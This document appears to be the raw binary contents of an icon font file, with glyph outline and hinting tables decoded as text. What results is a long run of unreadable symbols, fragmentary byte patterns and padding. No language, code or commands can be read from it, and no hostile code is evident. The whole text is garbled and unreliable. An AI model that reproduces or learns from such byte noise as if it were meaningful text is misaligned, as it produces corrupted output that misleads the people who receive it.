 g8;g:9 $g>$1B/-+)(&$(g0A.@,?*'& %&%g<#=!  g"W"_ Olj[ZVVRR;9*)%%!! }|vqj{l{fedbZ_[_@GVYVYXWRURUTSQPONLKE@9J;J5431).*.%(%('&!$!$#"   C+!"3!1326=4&#7#7373#73#73#73'3546+532!"3!1!26=4&#7#7373#73'3546#!5!2!";1!26=4&#7#73#3546#!5!2!"3!1326=4&#7#7373#73#73'3546+532%%}$$``B}B}B}}B}}B}}B}JJ_ii%%w$$Z``B}B}B}}B}JJ_c%%q$$```B}BJ_]%%q$$``B}B}B}}B}}B}JJ_=$T$%T$__}}}}}}}}}}}`Ki}$T$%T$__}}}}}}}`Ki}J$T$%T$``~`Ki~8$T$%T$__}}}}}}}}}`Ki}     m   , E >@;/.L>%K   g W _ O 	 +!"3!2654&!!?'&327654&>&/&32?>.HqT55T
655T
Tm	_	_w**M
**      C ( , 0 4 >@;4321,+*) L    g W _ O%$,&+&54&#!"'&;73!26=327654!!'57H	l}G}}#8		8#

#8		8#
N
Nw          " < F P _@\ G
L  g  i	 
g 

W 

_ 
O$# POLIFEB?74.-*'#<$<
	 +264/764&"%'&"2?64#4&#!"#"3!26=4&463!2!#!"&=!}	EESSYSEESh>%$?%%q	q	f	 EDTSvTDESb%%	*$$*	b		?       $ 6 U r   @%}Vv]wW3
ML	S	LKPX@Wr

~

~	p   gi	i		h W _ O@Y

~

~~   gi	i		h W _ OY@;ss sszykied`_ZYPOJIEC?>/.'&
 +!"3!2654&!!264/764&"2?64/&"3;264&+764&"54&"26=264/3264&+"#2?26='&5&'"/#";#";2?5>5754&"'&"l			kDDTTTEE:T!DEED!TET!D>!TE	f			fqeEESSSSEEVED!	TVT!DED!TET!D        m   ) ? W@T7L
 	 iY_O+* <931.,*?+?$!))	 +!"3!2654&!!%#";#";2654&#3264&+";264&HzS		>>		S	8>>		SS	m	_	_w*	_w	_   =   $ 5 a@^& L 	  
   h W _ O 54/.)($#
 +!"3!2654&!!'&"2?64&"7264/&"2l			kEESSEESSHEESSEESS     C   % 6 E H G@DHGF-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?6432?64/&7HSSEE;SEES}		})CCC	`			`wZSSEEMSEESoTT,,        m   % 6 H@E-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?64HSSEE;SEESm	_	_wYTSEDNTDES    ,  - > A }   )2  '&2?>=4&/.=46?62%&"32?64'5656.".&'&'&1#'&727>'676.'67>'&'"'67>.'&'2>.'.5676'&7676!"3!2654&+53264&+46;264&+"#";#"&5463!2#";2>=4.+".=4>;2'"2>4."&462iGGi *+i$F$i+*jCCjj!D!j}		tC
	
B"
/& $$!JHM@8A	%24			F`
0'7G%%M$$**#1				M(C''C((C''C@//00"9""9D9""9""11E01		. .

. .				T>Y,	
$*,#	*+%y<
 	
		@		
$4j$%%M$u	1"	M'D'(C''C('D'0000"9D9""9D9"1F00F1        - 0 3 ? n@k	L  	 	 

   g 		g g

W

_ 
O64 <94?6?320/,*%$-- +!264&#!"276&/&";#"2?6'&+5'3#!"3!264&*		l	P}}hh}}hSSSl			}		}o?o`          # ' + / 3 7 @  g g
	ggW_ O44,, 4747653210,/,/.-+*)('&%$#"! 
 +!"3!2654&53#5#5))5!!!%!!!5!)5!B			"#%%q##l%q#	<			}})}}M}}}}}}}}}}      ! + 6 T W@T 3(R
L 	 g 

g W _ O-,$"MKEC<921,6-6'&"+$+8333+'.+"&+".+"3!2654%32#'7>!32#'7>#!"&54?6;23!2*   -	%k$ѿ		0	- 3>ox"%%~F*E*{		x`         B [ e@bML)X&	L
   g  g 		i  i W _ O!  [ZJIDC=;41 B!B
 +!"3!2654&#!"&5463!2"'&.'7>'&54&+"326=4&"'&'&776?%%k$$		k4($-'5!Q97^`qeWU03T*E48(3%$%%		"5&+	#)pa]79Q32TXf,-8
4E*       # 8 ; _ y  @c:b
L
<	n	 L  

 		   g

i g		iY_ Oa`99 }|rplkfe`yay]\UTONJIDC?>9;9;430/##
 +!"3!2654&463!2!"&#7.6?327>/74&""&=4622654."2>%"54&"265132>=4."&=462%%k$$f	kp	!5G}**00V$4%%4$080/:/""00"$4%%4$%<%%%		q6!	pp>%%S%%00S//T		0S0%%S%%           ; T@QL
   g i	 g W _ O!  :852/-,*'$ ;!;
 +!"3!2654&#!"&5463!2264&+";#";264&+%%k$$		k'		S				S		%$%%		>w          % 6 F J Z ^ n r   @ -"lXDxdP<	
L   gi  g
g
		
W

	_	
	Otsa_LK87 |zstrqpoif_nan^]\[URKZLZJIHG@>7F8F21)(	 +!"3!2654&!!&"264/764'&"2?64#";26=4&#537#";26=4&#537#";26=4&#537#";26=4&#53HSSEE;SEESQTT**SS	**S		S	))TT**__wTSEDNTDESTTT**TTT**TTT**TTT*         # ' 7 ; K O _ c s w               !"3!2654&!!%#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#536			`	S		S	))S		S	))S		S	))S		S	))TT**TT**TT**TT**S		S**S		S**S		S**S		S**H*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*  
       # ' 7 ; K O _ c @! A]UL  g  g 
g 
 	
	g g  g gW_ORP><*( cba`ZWP_R_ONMLFC<K>K;:982/(7*7'&%$##	 +!"3!2654&!!7#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53-		S		S	))S		S	))S		S	))S		S	))H*TTT*}	S		S	S)}	SS	S*}TTT*   = e p      @ѹba_	^  Y421tXVU5DCA:	L W	i  g   g 	 	i  
g 
 
gi Y W aQgf ý~xvmlfpgpROJG>=.+&#
 ee+326=4&+"&'54&"'54&+";26=726=67;26=4&+"&'5>4&'567'21"&46+"&=46;221"&4676=46;2+"&=4/"&5146276=46;2+"&=4'$$%66%%%%66%$$%66%			EG			EG>E		%$$!7l		l ( 6!%%%$!7 ( l		l7!$%%%!6 ( 6!%	
*		*E	0	)		*	D	9D	*		)	    =   ; K [ w      @^lL$   g%*	g  i  
g&
 
g+ '!g  i  g( g,")#g  i W _ Ozx]\><!  ˼xzsronkieda`\w]wYVQNFC<K>K7632/-)(%$ ;!;
 -+#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&!264&#!"!"3!264&!"3!264&%%%%				>	!%%%%				>!%%%%				>G			P		G				G	=$$$$?				%%%%				>%$$%		>				q        m   A c  T@Q{nhYLF6)$	LUK ~   g W _ O ~\['&
 +!"3!2654&#!"&5463!2&'&"'.6?;>?6&%&'.'.6?;>?6&%&'.'.6?;>?6&%%k$$		k	&&	*
+,*	&&	)++)		&'	*,+
*	m%`%%%!				h		jYYj		ee		jYYj		ee		jYYj			ee      ( 2 H c@`
@=7	L  
	
g		g  Y _  O CA?><943/*'%! 	 22+0#!"&463265!""&=463!2"&54&#!30132'3&5463!25!63!2%%	k%%}	###$l%%%z%)"hhe#    $  e n y  [K
PX@&*xung32
 LoTKKPX@&oT* xung32
 L@&*xung32
 LoTKYYK
PX@A     ~ ~ 	 	i i 

Y 
a 

QKPX@;    ~ 	 	i  i 

Y 
a 

Q@A     ~ ~ 	 	i i 

Y 
a 

QYY@|{mkOMGE@>7654%$+47.'&%2632656/&#"'"3262656/&#6767632#"3#"'65&62#"'&'&'&547676767632767>7654'&'&'&#"l"1R;&		l;-*?X		h5Y*1+5T:&
y3N@026<RyVV)& #@ %%@RbQ[XLF@ %%*9IbTWR<0""&5<RGd[PV3;%!!A@ZMQ I/Y
			
O3

	3T2XcoU^0ZQ=%%@RVV*%!"@ &&!?@RPc]V)& #""&5I(IbTWR;< !%(4<QGdVUGG3        # / ; G t@q   g g g 	g 		g 

W 
_

O><20&$ CA<G>G850;2;+)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2B			e		B			e		B			e		}}}}}      fO   "&'&/&'&'&'#"'&'&'&547632765##".4>3235.54>23>32#"&'#0132767'&>76767>+%32676?676767>;6767#"'&'46;23264&#"+"&=47>54&"+"'.#"32676;2#"&'&?&')7!5$-;G$$*&
?,//,?"9D9"?,00,?&+%&5--$5 7,$(!16





61!(#MR
,S"	^	%%	^	0E1_	%%	_"S,
RM
$12Db:5(
	0:/ 0"9""9"0 080t
(*-bD21$
,"",3SF6+.%4$?##00##?$4%_.+6FS3   	     # 0 9 F O \ e @ i   g i i 	g 		i i g 

Y 
a

Q^]QPHG;:21%$ ba]e^eWVP\Q\LKGOHOA@:F;F651929+*$0%0 ## +!"&463!2!"&463!2!"&463!2%".4>2'"264&".4>2'"264&".4>2'"264&<				<				<			00800$$4%%00800%%3%%0080/$$4%%080080%4$%3%180080$4%%4$08019/%4$%3%  @    3 6@3.L   v"! *)!3"3   +"'.7>%".7&>!"'&47>9w,
l
$#      jR  - Q k l@i_VL8iU1L ~ i	g   Y  a
  QSR db[ZRkSkFE?=43$#-- +"'.'&47>762"276764'&'&"/".?'.>;7>32'2'&6?#"&/+76f]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk@
;NN;0@@0'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?uu׊_ll_   jR & D Q Z         @6 L     

~ i	i"!i i i # i 

W 

_
O][SRFE(' źһҵ{zurmjfd[]WVRZSZLKEQFQ'D(D &&$+%"&'&'&'&/&'&'&54>2"1676?6767654.".4>2'"264&!".54>3!2#!"3!265462%"&4762!"'&462"&462'"264&3#"&46;2"'&'&547&462'3267654'& >i|i> 3V2)$$*3V300800%%3%%9<00_%%%1	t\"11E11#"CTT\!n	 2d	JA531(2>i>>i>3(135AK
2V3*"A)FONF)A#)3V2080080$4%%4$00$e%$			0*	tG1E11E1}"":2}		


    $ - : Y@V	 L     g   i  i	W	_ O8721,+('$"
+76762!	/"&5463!2#!4&"267".4>2*0l˷!


B%&.+1,+1,S,`

:`j`.	
<
7*,,2,, (   3 @ I d   @*O b	L&K  gi i i  i
  g		gg W _OgeKJBA54 ywtrqpmleg^\XWVURQJdKdFEAIBI;:4@5@-,
 +%!"&5463!2%!!"&'/.767662".4>2'"264&!"&=462!#"&46;2!"&=462!#"&46;2!"&=462!#"&46;2<			Hf
Ԕk
j00800%%3%%.;*?K<	>		SK<	>		S		q	)H
k#j6w080080$4%%4$T?G	S	S		>G	ST?        4 q     t@q_G9	
$LZK   g
	
i		iW_Osr {yrs?>2/*'"	 +!"3!27>/!2>54.#!"'&#!"&5463!2%&'&'&#"&/&'.32>?3276547676."32>76&'&"'.767>327"32>76&'&"'.767>3200"00"$3g$%$	 	L"
3'!4&##	3'!4&##	00P30$0t% %$$$!([?O-o'9D5C-0	
0-[".%Z-APRe%
=&AMA&A'%A//r&AMA&A'%A//     3 B E &@#EDC4 L   v 33 +"/.54>?6"?>54&/&"'&5467JH%=##=%ݒ%=##=%HJGH(77(܏(77(H	$		(@&&@((@&t&@(;)t);;));we֕      8 f r ~   @ ^Q	%
LHK     g 	g 		g 

g g W _ Otshg {xs~t~olgrhrWV	 +!"3!2654&!!.6'&'&"'.32?>41/"5'4&"51"5'#?264'&'&737>'7!264&#!"!264&#!"!264&#!"3264&+"-		qH#"6.	YY""7-w		w		w					BEFM7.C<;/YEFN7-C<;.e}}}     2 x    h@e
L
   

j 		i Y aQ zyJIEDBA=<
	 xx+"'.'&'&'.67>'&'..'&47>67676&'.>767676>76'1&'2767654&'.67>176764'.&'.67>54'&'&&&'.'&'&7667>7'".4>2"2>4.%% &;1	%  %
1;' %% ';1
%  %	1;.5.&;!<&.5
4BB4
4/; !;(/4"4B!!9_88_r_88_9-M--MZM--Mu
	""%"%"
(F("%"%""%"%"
! F(
"%"%&
"	?4!	9!4?	#
	 '' 	
#	? 9:8@'" 'v8_r_88_r_8w-MZM--MZM-  i/R I U ] l x  j@glf5#	e_~zysmWVPJ9 L    
	 
i 	 	iiYaQvupojhca%.#)%,+%54'.'&"2654&#&5>767>636=.#"3>76&"&5462'.'476.&5>7462"&5('Y]]Y'($?g>  ,S"^S
2GG2	T]"S+  >g?G=N+'5DD57CC7#H?&*Ne`\)**)\`e/<>g? A kmFY3453]Emk  ?g>7Af@=+&D****K')*'W%*?@e  iS  7 K
PX*LKPX* L*LYYK
PX@# g   g_ OKPX@"  g  W _  O@# g   g_ OYY@  /-&$76  '7%	+.?#".54>3!2#!3%63!2>54.#	]S(D((D((D((D(33o
S)c44(D((D((D(Q(E(4Q4	44     =  7 b K
PX@=5
`
	U L KKPX@=5
`
	U L K@=5
`
	U L KYYK
PX@M   i 	
	Y i g 
  
i Y a QKPX@H   i 	
	i i 
 
i Y a Q@M   i 	
	Y i g 
  
i Y a QYY@.dcpocd]\XWSROMIHED@?;:1/+)77+"6?26=4&7"265462;264&+76=.4&"265462#"32"&54&"264'>2"'.'&54767>276764'&'&#"&46A>!

,
	&my

\W- ,>,&

&,>,aYV$&&$VYYV$&(F<9cffc:<<:cfw	[2

,

	

p	,K,,

&&

,,@
"&$VYYV$&&%VY`FBD;	nwfc:<<:cffc:<   	jR   M        @W
`C86		/ L 

   i 
 
i  	i 	 	ii   i  iW_O"! μͪͤ{zsqljfe]\TSON>=)(!M"M   +%".'.547&5476762%22>7>67654'&7654."36%"/&'&'&'#'#&#"&463&767632767654623276#"&46;23#"&46;2!"&?>?67&54627676%!'&/3'&676764'&"!'3\F"('BDDB'("F\;OXO<

CssC
?@="	&"	"#&,+(	*		*)		)	nB 
k&-L-&k
 tg:>fh4^>;+ODB'(('BDO+;>^4	:Z11Z:DsCCsDP'#		< 
"#		#/
#
l 4"!!"4 l
$
*gb55b       @ L    v-(+654&'.#"3267	

	=,
	
       @ L   v 
 +"327>54'654'.(	
;
	
      n   @ L      v+'&"?27>54/76'.4	+W+;
--,	+W+	,+         
 3@0 L    W_ O

+#5##!5$HSSS   iS  $ . @@=    ~   W_O  ,)&%$#  :+#!"&'463!"3!2654&+;265/Q)7&&66'=	c	R3'0<!"&55&/'7;		      V  # / @  LIKPX@9 

r	~~   p  
i  Y  b  R@; 

	~~   ~  
i  Y  b  RY@/.-,+*)('&%$##%+#'>54."32677%".4>2'3##5#5353! #I||II|J2Z#>63W23VfV22VSS*SS*#[1J|II||I# ">2VfV32WfV2*SS*S          , 5 > G p@m   		    i
		i Y _ O@?76.-DC?G@G;:6>7>21-5.5+)&#,,3!#3++"&46;#"&46;22654&+";264&+"264&3"264&3"264&	S

>>

S	'

	T		T		?&&&
			
&&&&&&    
  jR  - A j w     @IF^
LKPX@h  p  

	r     iji	 	i Y b RKPX@i   ~  

	r     iji	 	i Y b R@j   ~  

		     iji	 	i Y b RYY@9yxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%%       ) H@E Lg   g  W  _  O!  &% )!) 	+%2+"&=4632#!"&5463!"!4'.'77'('77'(			8'(77('8TT	    k(   . G@DL  g g W _ O  '%. -	 	+2#!"&5463!"3!274&#2+"&=463$33$%33%?@(3$$33$$3Sz      (   / A@>  g g W _ O!  (& /!.	 	+2#!"&5463!"3!2654#2+"&=463$44$p$33$pv(3$$33$$3Sz 	  jkR   + 7 C O [ g s @LK   g g  g g 

g g 	g 		g W _ Oih]\QPED98-,olhsirc`\g]fWTP[QZKHDOEN?<8C9B30,7-6&# ++(52+>3!2#!"&546?3265%!+3!2654&"&463!2#"&463!2#"&463!2#"&463!2#"&46;2#"&463!2#{%%&
t&
q	



6



6



6







6



J%%%
&z		l	'}w}w}        3 P S@P 	 	g i i   W  _
  O54 JGBA=:4P5P-*%"32	 +!".54>;23!2"3!2654&#!"&/.#"&=4&#!""&54>3!200!7
 00$%$$!7 	%<%00.01( 10%%%w%' }	}$$		00}	 jR G ^ y        &9$@[
cWLKKPX@&0$ r (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'Q@&0$ (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'QYA}''                 { z   '9'953,*&&	                                                  ~ z  {  w u m k ^ \ Q O = ; 4 2 - , ' %   	    G  G 1  +"'&'&67"'#"'&'&5476'&'".67676322?67632#3276765'&767&#"327676'&'&#""&4&""&54762"'.'&47>762"276764'&'&"&462'"264&"&462'"264&"'&547676;276'"32767&'&'&"'&'&7>767632'327654&'&#"V5%"1#%5VL3*
/UN362. .251NU/+3)DI* [XA *ID)DA04)	*PGf]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk%%4$$	%%3%%`=#C'6'AF);Mv		(3&!&//'/M;)FA'6'B%&!&4'		'0'+$P#		#P$+'% 
:

	
:
 %*-'# !#'-*'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?`$4%%4$SS%3%%4$S_6&
!}


}!
&5T


    5  $ C@@L      W _ O  +2"&54662!#!/&47S  -  !$	5   BUU	     5  $ C@@L      W _ O $#  +2"&546.=!"&'5467!5462-  	$ 5  B	UU     5  $ ? S@P650L	    W_O :921.-#" 
+2"&54632#/&4?6%&'5#.'5>7354>-  LV$ \\  \5  BUU		
YU   5  & > S@P,L	    W_O =<5410*("! 
+2"&546&'5#.'5>7354>32#/&4?6-  L\  \V$ \5  BYUUU		      5  # >@;
L   ~ W_ O#"%%+62++.5#".72#!"&463	UU	?  !$>-  -   (  % C@@L    W  _  O  %$ 
+2#!"&4633232"/&>;4673  U		U-  -5 $      (  & ? S@P*	 L     	W	_ O:832-+('"&%$&
+%##.'5#".?>%2#!"&463232"/&>;546?UU  U		U[  [-  - \V#   *  $ > T@Q4- L    ~ 	W	_ O7510,+ $#%#
+%232"/&>;546?%2#!"&463##.'5#".?>U		U  YU \V#-  -\  \	     jR  ! * 9 B O \ q@n-L     
 ~	~ ~ W_OZYTSMLGFA?><9876'!#'!73+4>3!2#!".5%35327>4&'&++5323'67654&+3537+5322>4."".4>2&@&&A%&@&f&@&Au+ !  +-#mm#-}Kn-!L>APm.#ll$-7c~d77d~c7p&DZE%%EZD&&@&&@&0&@&&@&>K>"++#8=KG"++xAh;;hh;;hA0M,,M`M,,M        # 8 F T X@U 	g 
i   W  _  OGG:9%$ GTGT9F:F/.$8%8#"	 +%!".54>3!2"3!2654&#"'%.>27%6"'&6?6!"/.>0000$$$$t#	V.V
Q

00060q%6%%%   jR      @C0/	P

L			~    i 		i  
i
 
g  iW_O    |ysqb^ZX<;86%+27676322"6?67>?6'&'?676'&#"3%264&#01!>?>?6'.'4&+"&/&6;26/&547676#54."#"3!26=4&%4>2#!5!26=>54&"((X#
	.o&3(S0)
	(3Q-	P;	(
		!'Q'CND'		M	0:/#
"	5	i		S
SO%*H
(/@
S+Q:(C^5	;\+Q	R+
S		B'(C''C(		00w		       m  " ? ^ @>
 LJIK
PX@(     g W W aQKPX@$     gWaQ@(     g W W aQYY@]ZRPHF971/'$! +276/764'&64/&27&#!";?327>=6'+764.+"'.=4763!2S

GGcSCC

&&&!6
&8mG	n			TBC	t	S	
CB

!h
#S6	      m    6 F J X r x@uY2#rgP1$	k	L-	K 

 	
	~  

g 	  	g  Y  a Q
	 MKJIHGDA<965	
 +%"264&3"264&264&"?'&7>'4."%4&#!"3!265'!!#"?6&'%676/&"376'.	I	T	66		T
			H	*
,2	T\2y	*	
	)	M

_		w`S
y	*.	     ,    2@/  g g   W  _   O&7+3!2654'&#!&!!!:4#&2 5#&12%%[      (    .@+   gW_ O72+4&#!"3!265!)!1&"1"&1A=&11&1"~~     j^\    ,@) J    W _O+'7676%#5"&463!2#C.#* O5C,P F5   9  J 9@6  ~     g Y a Q6;:3:7+3!2>54&'.#!"'463!2276=4'&'.#!";27654'&+"&5 	.	
#
*	'(!	(%%
3$.
x

%%)+	   i%S  , 2@/ L      v%",,#%5 +#"3!26=4&+'.#!"!2#!".546Կ				";"./$	4	3	4			";"$/_	   9  # & *@'&%$L    i Y a Q&!+&#"3276'"&'.467>27FEcʈ?>}?>?B?B?NJpFHmA[|@B@B?A?C!!}      X   2+7;;X::     X  2+'7';;;;     s   A ^ j pzK
PX@
E>QLKPX@
E>QL@
E>QLYYK
PX@Q 

     Y	 i   gia QKPX@F 

    	i   giaQ@Q 

     Y	 i   gia QYY@1kkCBkpkphgbaWUONIHB^C^;:650/('"!AA%;+.6?01301;>/7%22654."2>54&""&=&>%"54&"265132>=6."&=462$..		66&3>44>3&8'  #35('8''8''*e
	yy

\'		44\33

&&\.[



3\!5&&X''S%     (   # 3 F a@^    	 	g
   g g W ` P DA:72/*' ## +!264&#!"!264&#!"!264&#!"4&#!"3!267#!".54>3!2

		

		

	 +  "),+,,+9
''D'&111?-     % 1 U g s w@t&" L 

 
 ~  
 ~  g 		i 

gW_ OjhWV42pmhsjsdb]\VgWgROJGBA<92U4U+%&"2764/7>762"'&4?'.'676.!"&5463!22654&#!"3!264&"26=463264&3264&+"OO??	OO>>	@C	B
y
3(r%34(
 HJ35				STCC	STCC	M	
#y!"

Q);;));
HKK		84      =    + 7 C U a KPX@J     p h	i		g 

W 
a

Q@I      h	i		g 

W 
a

QY@EXVED:8.,"  ^[VaXaRPKJDUEU@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!""26=463264&3264&+"?

k		k		

G		

G		

G		
K26
"				s


`
*w}}}$72

#        % 1 f   @smdTN
>
G&" L 		 	~ 	~ 
	
~ 
	
~ 	~  	 ~ 	 ~  		gW` P¡rqbaCB:965+%&"2764/7>762"'&4?'.'676.%#227>76'467.7"&#.'.''>4676>762'.67.'&67&5463&76!"&5463!22654&#!"3!264&OO??	OO>>	@C	B
				
		%551O	+
/O%B* >


	  8;DKF
(!y
3(r%34(
STCC	STCC	M	

		F125			%%j	#*1
	
F@>%(,	#,
#y!"

Q);;));
    =    + 7 C x@ XN[sq	k	bLUhKK	PX@S   r 

  g  g g 	Y 		g g a QK
PX@Y   r  ~

  g  g g 	Y 		g g a QKPX@S   r 

  g  g g 	Y 		g g a Q@T    

  g  g g 	Y 		g g a QYYY@;:8.,"  jifea_HG@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!"&7676267267'67"&'67"'&'&57.'&7?

k		k		

		6

		6

		6
Q %+/)		*'+3:;4#



s


`
*w}}}#
,^"#
      > I@F1L     ~   i   Y   a  Q+%7>'&>'"/&4?62&&'&>765462"&5J>- !5*UgJ>- !5*Vf
3$uL6te"Ei93$uL6te"Eh    A  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	      jN  - A R@O5L     ~  ~   i Y aQ ?>8732"!--
 	+"276764'&'&"'.'&47>762'&46262"&'{jg<>><gjjg<>=<fj}d\Y&''&Y\\Y&''%X]J
$>=gkjf<=><gjkh=?F'&Y\\Z'('&Y\\Z&( J      jR    + 7 C   @DPL  g  g   g  g	g		g 
i W _ O98-,!  |yvqnhe`]ZWLI?<8C9B30,7-6'$ +!*
 +!2#!"&546!462"&57"&46;2#"&46;2#"&46;2#454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"KRN[		V		V		V		V		V		111x		x&&"7"x&&x		x0@x!7"	&>"Q*M_		zGH
00.2((( ' (2 -$( 
m%    jR  $ f {  @}%
t1	  L  g  

g  		g   ig    i Y b Rzwspkh`]ZWROIF3;8+%5462762"/&462'2>4."454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"4>2".?>x-MZM--MZM-111x		x&&"7"x&&x		x0@x!7"	&>"8_r_88_r_8??-L--LZM--M00.2((( ' (2 -$( 
m%*9`88`r_88_   A  $ ,@)      v $#3%% +#"32764&+4&+""&463!2#wz
$""        $ 9 F@C L    ~   ~  i Y a Q)$%(+&'"&5473264'&#"26546326 '&'&4767632}NuuNExv		@[>,
HvxI

Ixzx{F
[y<5>``>5<yi|{.		[@	,>wGFv%vFGHJr       A  @     v5$+32764&#!"
       A  @    v5+74762#!"&!

    (      P K	PXKI LK
PXKILKI LYYK	PX@5	
	g 
 
g   g  Y  _ OK
PX@8  r	
	g 
 
g  g  W  ` P@5	
	g 
 
g   g  Y  _ OYY@#þ}jhc`ZYFC;:31,)$"+1001'001%03#50#3001!7&'.747##!"&=47#3&'.75463!22#!"&4676367676'4'&'&'&/.763!23!2=4'&'&'&'4#'.763!22#!"&4>367676'54#!"^<?A?AuG
					

	%
F
	$


			
Cf$$6666g

L
	
"	""	!f
	
 
  >  ) B M V     @@]}u08LK	PX@Z r    i g	i  g Y
i g Y a QK
PX@`	r r    i 	g		i  g Y
i g Y a QKPX@Z r    i g	i  g Y
i g Y a Q@[     i g	i  g Y
i g Y a QYYY@?+*ywonkjfd`_[YVURQLKFE<:42*B+B+4'&'&"276767 '&'&7676 312;2+"&=464&"26&462"74632#"'.#"2767#"&50154632"'&%4&"326&462"%"&463!2#"&463!2#<:ceec:<<9cffc9<*A@lppl@AA@lppl@A	<.*j/F.0B1 )
%
)@@1+j/F./E



^



^wfc9<<9cffc9<<9cfwpl@AA@lppl@AA@lp7c
L#E,-D.P"-


#,!E,,E.



	

	        ( 1 : C L @
LK	PX@A r~ ~
~ ~	~    W   _  O@B ~ ~
~ ~	~    W   _  OY@ED32! IHDLEL762:3:%$ (!(6+.7632%	'.>'264&"7.>'264&"7.>5264&"
		%
B	J1C @@@"~ @@?"} ?@@"D(	
 
)@@@@1""w?@?@1""w@??@0"" 
  jkR   ' - ? K W c o { @=(5L g  	g 		g 

g   g g g g W _ OqpedYXMLA@/.wtp{qzkhdoen_\XcYbSPLWMVGD@KAJ9742.?/?+)"+#.7>&/63!2#!"&54?3265%!+3!2654&"&46;2#"&46;2#"&46;2#"&463!2#"&463!2#xhh(--2
$$%	t%	q												K				6				F$		o~~$%$		%zl}}}   	  jkR   ) 2 ; D P \ h @'L   g  g g g g	
i W _ O^]RQFEca]h^gXUQ\R[LIEPFOCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&"&462"&462"&462%"&463!2#%"&463!2#"&463!2#|
$$%	t%	q-""}""}""				6		M				wK$%$		%zl"""}        m  ( @ J O Y KPX@:	
r  r

g  hW_OKPX@;	
r  

g  hW_O@<	

  

g  hW_OYY@+PPLKPYPXSQNMKOLOJHCA=<540.+)"('# +#"&46;'&462"&47!2#!"&546332+"/&4?627!"3!3#!2654&#		??%%%%

??t		**		I:CA&`&&&C:
`
*6

   (  = U xK
PX@=/iL'
IKPX@=/iL'I@=/iL'
IYYK
PX@2    gi i	 
g	
a 

QKPX@1    gi i	Y	a
Q@2    gi i	 
g	
a 

QYY@&VV>>  VxVwmkge][>U>TQOKJCB:7  +6767#&/&%6;2&'546767676'&6726;24.#'.46?2!"&463#"32#"'&'&547>3,X!@<,9XOX;8E
0
	xK:.		

5U6		1# i?))W3)K,9D!	nHB8P!A!K%

 8!(%&3E,5
2-7N=0/4     jR  - I N w      =@VS
kK;LKPX@q	  	p 

 r r   	 i
ji ig Y b RKPX@r	  	p 

 r    	 i
ji ig Y b RKPX@s	  	 ~ 

 r    	 i
ji ig Y b R@t	  	 ~ 

     	 i
ji ig Y b RYYY@AyxPOJJ~xyrpiha_ZYUTOwPwJNJN<+4'&'&"276767"'.'&47>762& '.;26=676&5"&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&'BB,O	}	I',/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]rr	M!S		?6
*p-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%% 	  jR  - A j w     @IF^
L    

     i g  j  i	i	 	i Y b RyxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2%4&"267"&4623264&+"?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>f*%4$%3%}		}	^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%"     L $ @ ] u @1 	Li IK
PX@8 	 q g
gi		Y	a		Q@7 	  g
gi		Y	a		QY@-_^&% olfd^u_tYWPMFD=;54.+%@&?"  $$+7".?#".=4>3!2+"+";276;&=4>;.#"/#".=4>3!2+";2'&6;26=4&# 66 6	"1		e#11#!		U6s.n 56 66 
k"11"
!#11#
q5  56
0#71""1	Uf6&6 65  6q0##1gV2""1        ) A uKPX@- r~   p  i   Y   b  R@/ ~   ~  i   Y   b  RY@'+276764'&'&"476762"'&'&%#"2?64/&+4&"--KMMK----KMMK--T97_aa_7997_aa_79whh ^[MK----KMMK----KM[qa_7997_aa_7997_a%      jR  $ d z (@%
s1	 LKPX@J r   r  g  

g  		g  i g Y b RK PX@K r     g  

g  		g  i g Y b R@L      g  

g  		g  i g Y b RYY@~yvroie^[XUPMHE3:8+%26=264/&"272>4."014>3!2+"&46;2654&#!"&/.+";2+".54672;23!254&#!"4>2".>>u-MZM--MZM-/0*2y

y&'!7"u&&y

y2A

